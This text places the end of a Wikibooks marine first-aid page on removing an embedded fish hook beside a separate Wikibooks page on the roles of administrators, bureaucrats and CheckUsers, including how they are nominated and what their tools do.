Before attempting to remove the fish hook, assess if removal in the field will cause any side effects. For example, never attempt to remove an object in the eye or near a major artery. When in doubt, it is wise to err on the side of caution and transport to an urgent care unit or emergency department. Once satisfied that removal can be done in the field, assess how deep the hook has gone in. It is generally advisable to have another person remove the hook whenever possible. Where the barb has not fully penetrated the skin, gently but firmly pull the hook out. If the barb is buried in the skin, attempting to remove the hook this way will only create a bigger hole, cause more pain to the patient, and potentially lead to unpleasant side effects. In these cases, the barb must be eliminated before the hook can be removed. The most commonly used method is to carefully loop the hook around and push it back through the skin. Once the barb is visible, use wire cutters or another sharp instrument to separate the barb from the hook. (If the hook was barbless to begin with, simply back the hook out through the entry hole.) Then back the barbless hook out through the original hole. Thoroughly clean all wounds and remove any and all remnants. Apply an antibiotic ointment and apply a sterile dressing. Wrap the bandage firmly but do not cut off circulation.

Post treatment care
The risk of tetanus may necessitate a booster immunization. Due to the fatality rate of tetanus, it is strongly advisable that victims receive the immunization if needed. The wound site should be monitored for signs of infection. If signs appear or the wound does not appear to be healing normally, seek medical attention as soon as possible.

title: First Aid/Marine First Aid


text:
Using Wikibooks/The Roles Of The Wikibooks Administrator

Administrators
Administrators are regular Wikibookians, who started off as ordinary readers, editors, and writers. However, over time these users have gained experience in helping the project beyond their own books and they've also gained the trust of the community. When a user has been active for a long time, expressed an interest in helping the project, and has gained the trust and respect of the community, they can be nominated for additional tools at Requests for Permissions.

The community will discuss the nomination, and if people generally agree, that user will be promoted with the necessary permissions. There are many different types of permissions available for different uses, including importer, reviewer, uploader, administrator, bureaucrat, and CheckUser.

The list of all current administrators can be found in the special ListUsers page.

Administrator Tools
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 * Deleting and Undeleting: Only an administrator can delete a page, and only an administrator can view and restore deleted pages. Deleting pages can be very disruptive and can be hurtful to the author's feelings, so it is not to be done in haste.
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Bureaucrats, in addition to the tools of ordinary administrators, have the ability to promote new administrators, and to set and unset the bot flag. These abilities can potentially be very disruptive to the community if used improperly, and so only well-trusted users are given these tools. Perhaps the primary role of the bureaucrat is to judge community consensus and act on its behalf. For example, for account renames (which are handled centrally), a Global Renamer will consult with a bureaucrat if the chosen name seems contentious.

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When an administrator has demonstrated skill and perseverance in fighting vandalism, they can be nominated for CheckUser at Requests for Permissions. Because of the legal ramifications of being able to see protected information about users, CheckUsers must be very trusted, and they must also identify themselves to the WMF as being above the age of majority, except in exceptional cases. In the United States, Canada, and the United Kingdom, the age of majority is 18.

Because of WMF policy, a CheckUser nomination is not a regular discussion, but is instead a vote. A CheckUser must receive 25-30 supporting votes with at least 70-80% support in order to be promoted. This requirement is non-negotiable, and if it is not met the stewards at Meta will not perform the promotion.

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Admins as Leaders
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Admins may often feel that they are "required" to act in a leadership role, and they may also find that other users look up to them for help and guidance. Users should be prepared for this additional pressure and responsibility before they accept any adminship nomination.

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